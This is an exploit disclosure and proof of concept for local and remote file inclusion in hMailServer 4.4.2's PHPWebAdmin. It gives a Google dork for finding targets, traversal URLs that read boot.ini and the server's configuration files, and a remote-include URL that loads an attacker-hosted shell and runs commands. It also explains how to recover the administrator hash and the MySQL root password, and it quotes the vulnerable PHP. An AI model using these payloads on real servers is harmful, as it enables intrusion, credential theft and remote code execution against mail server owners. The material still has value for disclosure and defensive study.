hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion poc by Nine:Situations:Group::strawdog ------------------------------------------------------------------------
our site: http://retrogod.altervista.org software site: http://www.hmailserver.com/ description: http://en.wikipedia.org/wiki/HMailServer ------------------------------------------------------------------------ google dork: "PHPWebAdmin for hMailServer" intitle:PHPWebAdmin -site:hmailserver.com -dork poc: regardless of register_globals & magic_quotes_gpc: http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../../boot.ini%00 http://hostname/path_to_webadmin/index.php?page=background/../../Bin/hMailServer.INI%00 http://hostname/path_to_webadmin/index.php?page=background/../../MySQL/my.ini%00 http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../.. /../Program+Files/hmailserver/Bin/hmailserver.ini%00 with register_globals = on: (prepare a functions.php folder on somehost.com with an index.html with your shell inside on a php enabled server, otherwise a functions.php shell on a php disabled one) http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/&cmd=dir with register_globals = on & magic_quotes_gpc = off : http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\boot.ini%00 http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/shell.txt%00&cmd=dir http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\Program+Files\hMailServer\Bin\hMailServer.INI%00 http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=../Bin/hMailServer.INI%00 "Bin" folder can be found in a different location, disclose the path by simply calling: http://hostname/path_to_webadmin/initialize.php interesting file: hMailServer.INI - contains two interesting fields: - the "Administrator password" crypted with md5, - by having knowledge of that you can calculate the MySQL root password, specified in the "password" field. You can do this by using the /Addons/Utilities/DecryptBlowfish.vbs script (*) vulnerable code, index.php: <?php error_reporting(E_ALL); if (!file_exists("config.php")) { echo "Please rename config-dist.php to config.php. The file is found in the PHPWebAdmin root folder."; die; } require_once("config.php"); require_once("initialize.php"); set_error_handler("ErrorHandler"); if (is_php5()) set_exception_handler("ExceptionHandler"); $page = hmailGetVar("page"); if ($page == "") $page = "frontpage"; $isbackground = (substr($page, 0,10) == "background"); if ($isbackground) $page = "$page.php"; else $page = "hm_$page.php"; // Check that the page really exists. $page = stripslashes($page); if (!file_exists($page)) hmailHackingAttemp(); // If it's a background page, run here. if ($isbackground) { include $page; //<------------------------------------------ !!! // Page is run, die now. die; } .. for clearness, here it is hmailGetVar() function in /include/functions.php: .. function hmailGetVar($p_varname, $p_defaultvalue = null) { $retval = $p_defaultvalue; if(isset($_GET[$p_varname])) { $retval = $_GET[$p_varname]; } else if (isset($_POST[$p_varname])) { $retval = $_POST[$p_varname]; } else if (isset($_REQUEST[$p_varname])) { $retval = $_REQUEST[$p_varname]; } if (get_magic_quotes_gpc()) $retval = stripslashes($retval); return $retval; } .. so the "page" argument can be passed by $_GET[], $_POST[] or $_COOKIE[] arrays. Note the stripslashes(), which disable magic_quotes_gpc on every argument passed. (**) initialize.php: .. $hmail_config['rootpath'] = str_replace("\\","/",$hmail_config['rootpath']); $hmail_config['includepath'] = str_replace("\\","/",$hmail_config['includepath']); $hmail_config['temppath'] = str_replace("\\","/",$hmail_config['temppath']); require_once($hmail_config['includepath'] . "functions.php"); ..